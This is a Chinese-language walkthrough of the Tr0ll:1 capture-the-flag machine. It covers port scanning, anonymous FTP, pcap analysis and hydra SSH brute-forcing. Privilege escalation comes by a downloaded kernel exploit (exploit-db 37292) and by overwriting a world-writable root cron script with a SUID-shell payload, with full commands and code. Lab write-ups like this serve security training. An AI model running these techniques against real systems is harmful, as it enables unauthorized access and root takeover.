nmap扫描开放端口---->匿名登录ftp,下载lol.pcap---->wireshark打开并分析lol.pcap,找到sup3rs3cr3tdirlol目录---->sup3rs3cr3tdirlol目录下找到roflmao,执行后发现0x0856BF目录---->hydra爆破得到ssh用户名密码---->提权:内核版本漏洞提权(或者定时任务提权)
具体步骤这个靶机脑洞有点大
步骤1:nmap扫描靶机sudo nmap -sS -A -p 1-10000 192.168.101.30
扫描结果如下图所示,扫描到了21(ftp)端口,22(ssh)端口,80(http) 端口
并且值得注意的是21端口允许匿名登录
nikto扫描靶机的命令
nikto -host 192.168.101.30
扫描结果
dirb扫描靶机的命令
dirb http://192.168.101.30
扫描结果
没扫出啥有用的,访问了一下扫描到的目录和文件,没有啥有价值的信息。
步骤3:匿名访问ftp,下载lol.pcap用浏览器访问ftp://192.168.101.30/ ,并下载lol.pcap
用wireshark打开lol.pcap,按协议给报文排序,在FTP-DATA中找到secret_stuff.txt的内容,其中包含sup3rs3cr3tdirlol,看起来像个目录的名字
先试了用ftp协议访问sup3rs3cr3tdirlol,没成功;
后来访问了http://192.168.101.30/sup3rs3cr3tdirlol/,成功找到文件roflmao。
下载之后用strings命令看了一下roflmao的内容,感觉像是个可执行文件
修改文件权限为700,并执行
chmod 700 roflmao
./roflmao
执行结果如下,0x0856BF又是一个目录名
访问http://192.168.101.30/0x0856BF/看到如下两个目录
http://192.168.101.30/0x0856BF/good_luck/ 下面有一个txt文件
结合文件名和内容,应该是可能的用户名
把该文件内容保存到users.txt(genphlux后面的提示去掉)
http://192.168.101.30/0x0856BF/this_folder_contains_the_password/ 下面有一个文件Pass.txt,打开之后只有一行Good_job_:)
下面用hydra尝试爆破ssh用户名密码
先试了一下下面的命令,没爆破出来
hydra -L users.txt -p "Good_job_:)" ssh://192.168.101.30
又试了下面这个命令,爆破出来用户名是overflow,密码是Pass.txt(太狗了)
hydra -L users.txt -p "Pass.txt" ssh://192.168.101.30
爆破的时候注意,靶机的ssh似乎是有一点防暴力破解机制的,失败次数多了会连不上,歇几分钟再爆。
ssh登录靶机
ssh overflow@192.168.101.30
用如下命令得到交互式shell
python -c 'import pty; pty.spawn("/bin/bash")'
靶机上输入如下命令得到内核版本号
uname -a
在Exploit Database - Exploits for Penetration Testers, Researchers, and Ethical Hackers搜索3.13.0,得到两个结果,选择https://www.exploit-db.com/exploits/37292,下载exp:37292.c
攻击机上开http服务:
python -m SimpleHTTPServer 7777
靶机中进入到tmp目录(所有用户有写权限),下载37292.c
wget http://192.168.101.20:7777/37292.c
用gcc命令编译
gcc -o 37292 37292.c
执行
./37292
执行成功,获得root权限
在/root目录下找到proof.txt
打完之后看看官网的writeup,发现有人用定时任务提权。其实我发现下载到/tmp下面的文件过一段时间就没了,但是没有往这方面想,一方面是因为内核漏洞提权太方便,另一方面也是因为我菜……
查找权限777的文件
find / -perm 777 -type f 2>/dev/null
把之前没遇到过的3个都cat一遍,发现 /var/tmp/cleaner.py.swp和/var/log/cronlog都与/lib/log/cleaner.py有关,且/var/log/cronlog的内容表明/lib/log/cleaner.py是一个每2分钟执行一次的定时任务。
从/lib/log/cleaner.py的内容可知,其作用是清空/tmp/目录下的所有文件。
由于 /lib/log/cleaner.py是所有用户可编辑的,又是以root权限运行的定时任务,因此可以通过修改该文件的内容,并等待定时任务触发来提权。
有一个博客写了好多种具体的利用定时任务提权的方法,还挺详细的,这里就不赘述了
Tr0ll:1靶机-Walkthrough_ins1ght的博客-CSDN博客
这里演示其中一种:
首先建立两个文件suid.c和suid.py,内容分别如下:
suid.c
int main(void){
setgid(0);
setuid(0);
system("/bin/bash");
}
suid.py
#!/usr/bin/env python
import os
import sys
try:
os.system('chown root:root /tmp/suid; chmod 4777 /tmp/suid')
except:
sys.exit()
然后攻击机起http服务,靶机上用wget命令把这两个文件拷贝到/tmp目录下。
编译suid.c
gcc -o suid suid.c
用/tmp/suid.py的内容覆盖/lib/log/cleaner.py的内容
cat /tmp/suid.py > /lib/log/cleaner.py
然后等待suid文件的属主变成root就行了
执行
./suid
获得root用户权限